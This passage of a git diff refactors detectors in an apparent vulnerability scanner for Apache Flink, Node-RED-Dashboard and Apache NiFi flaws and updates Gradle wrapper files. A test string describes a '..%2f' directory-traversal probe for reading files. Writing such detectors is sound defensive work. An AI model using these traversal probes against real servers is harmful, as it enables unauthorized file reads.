Unauthorized Directory Traversal (CVE-2020-17519)") - .setDescription( - "A change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and " - + "1.11.2 as well) allows attackers to read any file on the local " - + "filesystem of the JobManager through the REST interface of the " - + "JobManager process. Access is restricted to files accessible by the " - + "JobManager process.") - .setRecommendation( - "All users should upgrade to Flink 1.11.3 or 1.12.0 if their Flink instance(s)" - + " are exposed. The issue was fixed in commit" - + " b561010b0ee741543c3953306037f00d7a9f0801 from apache/flink:master.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } @@ -178,12 +186,11 @@ private boolean isFlinkService(NetworkService networkService) { return (logResponse.logs != null); } catch (JsonSyntaxException e) { logger.atInfo().withCause(e).log( - "Endpoint %s does not return the expected JSON. Possibly not Flink Service.", - networkService); + "Endpoint %s does not return the expected JSON. Possibly not Flink Service.", targetUri); // Avoid false positives. return false; } catch (IOException e) { - logger.atWarning().withCause(e).log("Request to target %s failed", networkService); + logger.atWarning().withCause(e).log("Request to target %s failed", targetUri); // Avoid false positives. return false; } diff --git a/google/detectors/directorytraversal/cve202017519/src/test/java/com/google/tsunami/plugins/detectors/directorytraversal/cve202017519/Cve202017519DetectorTest.java b/google/detectors/directorytraversal/cve202017519/src/test/java/com/google/tsunami/plugins/detectors/directorytraversal/cve202017519/Cve202017519DetectorTest.java index f2f631aac..c272ed37f 100644 --- a/google/detectors/directorytraversal/cve202017519/src/test/java/com/google/tsunami/plugins/detectors/directorytraversal/cve202017519/Cve202017519DetectorTest.java +++ b/google/detectors/directorytraversal/cve202017519/src/test/java/com/google/tsunami/plugins/detectors/directorytraversal/cve202017519/Cve202017519DetectorTest.java @@ -30,11 +30,8 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -106,25 +103,7 @@ public void detect_whenFlinkVulnerable_returnsVulnerability() .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2020_17519")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache Flink Unauthorized Directory Traversal (CVE-2020-17519)") - .setDescription( - "A change introduced in Apache Flink 1.11.0 (and released in 1.11.1 " - + "and 1.11.2 as well) allows attackers to read any file on the " - + "local filesystem of the JobManager through the REST interface " - + "of the JobManager process. Access is restricted to files " - + "accessible by the JobManager process.") - .setRecommendation( - "All users should upgrade to Flink 1.11.3 or 1.12.0 if their Flink" - + " instance(s) are exposed. The issue was fixed in commit" - + " b561010b0ee741543c3953306037f00d7a9f0801 from" - + " apache/flink:master.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/directorytraversal/cve20213223/gradle/wrapper/gradle-wrapper.jar b/google/detectors/directorytraversal/cve20213223/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/directorytraversal/cve20213223/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/directorytraversal/cve20213223/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/directorytraversal/cve20213223/gradle/wrapper/gradle-wrapper.properties b/google/detectors/directorytraversal/cve20213223/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/directorytraversal/cve20213223/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/directorytraversal/cve20213223/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/directorytraversal/cve20213223/gradlew b/google/detectors/directorytraversal/cve20213223/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/directorytraversal/cve20213223/gradlew +++ b/google/detectors/directorytraversal/cve20213223/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/directorytraversal/cve20213223/gradlew.bat b/google/detectors/directorytraversal/cve20213223/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/directorytraversal/cve20213223/gradlew.bat +++ b/google/detectors/directorytraversal/cve20213223/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/directorytraversal/cve20213223/src/main/java/com/google/tsunami/plugins/detectors/directorytraversal/cve20213223/NodeRedDashboardDirectoryTraversalDetector.java b/google/detectors/directorytraversal/cve20213223/src/main/java/com/google/tsunami/plugins/detectors/directorytraversal/cve20213223/NodeRedDashboardDirectoryTraversalDetector.java index b2475d828..6f002fb2e 100644 --- a/google/detectors/directorytraversal/cve20213223/src/main/java/com/google/tsunami/plugins/detectors/directorytraversal/cve20213223/NodeRedDashboardDirectoryTraversalDetector.java +++ b/google/detectors/directorytraversal/cve20213223/src/main/java/com/google/tsunami/plugins/detectors/directorytraversal/cve20213223/NodeRedDashboardDirectoryTraversalDetector.java @@ -69,6 +69,11 @@ public final class NodeRedDashboardDirectoryTraversalDetector implements VulnDet this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of(getAdvisory(AdditionalDetail.getDefaultInstance())); + } + // Main entry point of VulnDetector. Both parameters will be populated by the scanner. // targetInfo contains the general information about the scan target. // matchedServices parameter contains all exposed network services on the scan target. @@ -89,6 +94,18 @@ public DetectionReportList detect( .build(); } + Vulnerability getAdvisory(AdditionalDetail details) { + return Vulnerability.newBuilder() + .setMainId(VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2021_3223")) + .setSeverity(Severity.CRITICAL) + .setTitle("Node-RED-Dashboard directory traversal vulnerability") + .addRelatedId(VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2021-3223")) + .setDescription("Directory Traversal vulnerability in exposed Node-RED-Dashboard") + .setRecommendation("Upgrade node-red-dashboard to version 2.26.2 or greater.") + .addAdditionalDetails(details) + .build(); + } + // Checks whether a given network service is vulnerable. private boolean isServiceVulnerable(NetworkService networkService) { String targetUri = @@ -128,15 +145,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2021_3223")) - .setSeverity(Severity.CRITICAL) - .setTitle("Node-RED-Dashboard directory traversal vulnerability") - .setDescription("Directory Traversal vulnerability in exposed Node-RED-Dashboard") - .setRecommendation("Upgrade node-red-dashboard to version 2.26.2 or greater.") - .addAdditionalDetails(AdditionalDetail.newBuilder().setTextData(details))) + .setVulnerability(getAdvisory(AdditionalDetail.newBuilder().setTextData(details).build())) .build(); } } diff --git a/google/detectors/directorytraversal/cve20213223/src/test/java/com/google/tsunami/plugins/detectors/directorytraversal/cve20213223/NodeRedDashboardDirectoryTraversalDetectorTest.java b/google/detectors/directorytraversal/cve20213223/src/test/java/com/google/tsunami/plugins/detectors/directorytraversal/cve20213223/NodeRedDashboardDirectoryTraversalDetectorTest.java index 369da28f3..e710edfaa 100644 --- a/google/detectors/directorytraversal/cve20213223/src/test/java/com/google/tsunami/plugins/detectors/directorytraversal/cve20213223/NodeRedDashboardDirectoryTraversalDetectorTest.java +++ b/google/detectors/directorytraversal/cve20213223/src/test/java/com/google/tsunami/plugins/detectors/directorytraversal/cve20213223/NodeRedDashboardDirectoryTraversalDetectorTest.java @@ -32,13 +32,10 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TextData; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -106,28 +103,17 @@ public void detect_whenNodeRedDashboardDirExposed_reportsVuln() throws IOExcepti .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2021_3223")) - .setSeverity(Severity.CRITICAL) - .setTitle("Node-RED-Dashboard directory traversal vulnerability") - .setDescription( - "Directory Traversal vulnerability in exposed Node-RED-Dashboard") - .setRecommendation( - "Upgrade node-red-dashboard to version 2.26.2 or greater.") - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder() - .setText( - String.format( - "Node-RED-Dashboard before 2.26.2 allows" - + " http://%s:%d/ui_base/js/..%%2f directory" - + " traversal to read files.", - mockWebServer.getHostName(), - mockWebServer.getPort()))))) + detector.getAdvisory( + AdditionalDetail.newBuilder() + .setTextData( + TextData.newBuilder() + .setText( + String.format( + "Node-RED-Dashboard before 2.26.2 allows" + + " http://%s:%d/ui_base/js/..%%2f directory" + + " traversal to read files.", + mockWebServer.getHostName(), mockWebServer.getPort()))) + .build())) .build()); } diff --git a/google/detectors/directorytraversal/generic_path_traversal_detector/src/main/java/com/google/tsunami/plugins/detectors/directorytraversal/genericpathtraversaldetector/GenericPathTraversalDetector.java b/google/detectors/directorytraversal/generic_path_traversal_detector/src/main/java/com/google/tsunami/plugins/detectors/directorytraversal/genericpathtraversaldetector/GenericPathTraversalDetector.java index cde650f45..8e3d4abae 100644 --- a/google/detectors/directorytraversal/generic_path_traversal_detector/src/main/java/com/google/tsunami/plugins/detectors/directorytraversal/genericpathtraversaldetector/GenericPathTraversalDetector.java +++ b/google/detectors/directorytraversal/generic_path_traversal_detector/src/main/java/com/google/tsunami/plugins/detectors/directorytraversal/genericpathtraversaldetector/GenericPathTraversalDetector.java @@ -113,6 +113,28 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of(getAdvisory(null, ImmutableSet.of())); + } + + Vulnerability getAdvisory( + AdditionalDetail details, ImmutableSet additionalDetails) { + return Vulnerability.newBuilder() + .setMainId(VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("GENERIC_PT")) + .setSeverity(Severity.MEDIUM) + .setTitle("Generic Path Traversal Vulnerability") + .setDescription(FINDING_DESCRIPTION_TEXT) + .setRecommendation( + "Do not accept user-controlled file paths or restrict file paths to a set of" + + " pre-defined paths. If the application is meant to let users define file" + + " names, apply `basename` or equivalent before handling the provided file" + + " name.") + .addAdditionalDetails(details) + .addAllAdditionalDetails(additionalDetails) + .build(); + } + private boolean shouldFuzzCrawlResult(CrawlResult crawlResult) { int responseCode = crawlResult.getResponseCode(); CrawlTarget crawlTarget = crawlResult.getCrawlTarget(); @@ -184,26 +206,16 @@ private DetectionReport buildDetectionReport( .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("GENERIC_PT")) - .setSeverity(Severity.MEDIUM) - .setTitle("Generic Path Traversal Vulnerability") - .setDescription(FINDING_DESCRIPTION_TEXT) - .setRecommendation( - "Do not accept user-controlled file paths or restrict file paths to a set of" - + " pre-defined paths. If the application is meant to let users define file" - + " names, apply `basename` or equivalent before handling the provided file" - + " name.") - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder() - .setText( - String.format( - "Found %s distinct vulnerable configurations.", - detections.size())))) - .addAllAdditionalDetails(this.buildAdditionalDetails(detections))) + getAdvisory( + AdditionalDetail.newBuilder() + .setTextData( + TextData.newBuilder() + .setText( + String.format( + "Found %s distinct vulnerable configurations.", + detections.size()))) + .build(), + this.buildAdditionalDetails(detections))) .build(); } } diff --git a/google/detectors/exposedui/apache_nifi_api/gradle/wrapper/gradle-wrapper.jar b/google/detectors/exposedui/apache_nifi_api/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/exposedui/apache_nifi_api/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/exposedui/apache_nifi_api/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/exposedui/apache_nifi_api/gradle/wrapper/gradle-wrapper.properties b/google/detectors/exposedui/apache_nifi_api/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/exposedui/apache_nifi_api/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/exposedui/apache_nifi_api/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/exposedui/apache_nifi_api/gradlew b/google/detectors/exposedui/apache_nifi_api/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/exposedui/apache_nifi_api/gradlew +++ b/google/detectors/exposedui/apache_nifi_api/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/exposedui/apache_nifi_api/gradlew.bat b/google/detectors/exposedui/apache_nifi_api/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/exposedui/apache_nifi_api/gradlew.bat +++ b/google/detectors/exposedui/apache_nifi_api/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/exposedui/apache_nifi_api/src/main/java/com/google/tsunami/plugins/detectors/exposedui/apachenifi/apivuln/ApacheNiFiApiExposedUiDetector.java b/google/detectors/exposedui/apache_nifi_api/src/main/java/com/google/tsunami/plugins/detectors/exposedui/apachenifi/apivuln/ApacheNiFiApiExposedUiDetector.java index b55a3aa26..b59086e88 100644 --- a/google/detectors/exposedui/apache_nifi_api/src/main/java/com/google/tsunami/plugins/detectors/exposedui/apachenifi/apivuln/ApacheNiFiApiExposedUiDetector.java +++ b/google/detectors/exposedui/apache_nifi_api/src/main/java/com/google/tsunami/plugins/detectors/exposedui/apachenifi/apivuln/ApacheNiFiApiExposedUiDetector.java @@ -66,6 +66,24 @@ public final class ApacheNiFiApiExposedUiDetector implements VulnDetector { this.utcClock = checkNotNull(utcClock); this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(true).build(); } + + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("GOOGLE") + .setValue("APACHE_NIFI_API_EXPOSED_UI")) + .setSeverity(Severity.CRITICAL) + .setTitle("Apache NiFi API Exposed UI") + .setDescription("Apache NiFi API is not password or token protected.") + .setRecommendation( + "Do not expose Apache NiFi API externally. Add authentication or bind it to" + + " local network.") + .build()); + } + /** Method for detecting the vulnerability and returning the corresponding detection report */ @Override public DetectionReportList detect( @@ -124,18 +142,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("APACHE_NIFI_API_EXPOSED_UI")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache NiFi API Exposed UI") - .setDescription("Apache NiFi API is not password or token protected.") - .setRecommendation( - "Do not expose Apache NiFi API externally. Add authentication or bind it to" - + " local network.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/exposedui/apache_nifi_api/src/test/java/com/google/tsunami/plugins/detectors/exposedui/apachenifi/apivuln/ApacheNiFiApiExposedUiDetectorTest.java b/google/detectors/exposedui/apache_nifi_api/src/test/java/com/google/tsunami/plugins/detectors/exposedui/apachenifi/apivuln/ApacheNiFiApiExposedUiDetectorTest.java index 0a0e1da0f..b7e9b0346 100644 --- a/google/detectors/exposedui/apache_nifi_api/src/test/java/com/google/tsunami/plugins/detectors/exposedui/apachenifi/apivuln/ApacheNiFiApiExposedUiDetectorTest.java +++ b/google/detectors/exposedui/apache_nifi_api/src/test/java/com/google/tsunami/plugins/detectors/exposedui/apachenifi/apivuln/ApacheNiFiApiExposedUiDetectorTest.java @@ -31,12 +31,9 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -98,18 +95,7 @@ public void detect_whenIsVulnerable_returnsVulnerability() throws Exception { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("APACHE_NIFI_API_EXPOSED_UI")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache NiFi API Exposed UI") - .setDescription("Apache NiFi API is not password or token protected.") - .setRecommendation( - "Do not expose Apache NiFi API externally. Add authentication or bind" - + " it to local network.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); RecordedRequest recordedRequest = mockWebServer.takeRequest(); assertThat(recordedRequest.getPath()).isEqualTo("/nifi-api/access/config"); diff --git a/google/detectors/exposedui/argoworkflow/gradle/wrapper/gradle-wrapper.jar b/google/detectors/exposedui/argoworkflow/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/exposedui/argoworkflow/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/exposedui/argoworkflow/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/exposedui/argoworkflow/gradle/wrapper/gradle-wrapper.properties b/google/detectors/exposedui/argoworkflow/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/exposedui/argoworkflow/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/exposedui/argoworkflow/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/exposedui/argoworkflow/gradlew b/google/detectors/exposedui/argoworkflow/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/exposedui/argoworkflow/gradlew +++ b/google/detectors/exposedui/argoworkflow/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git 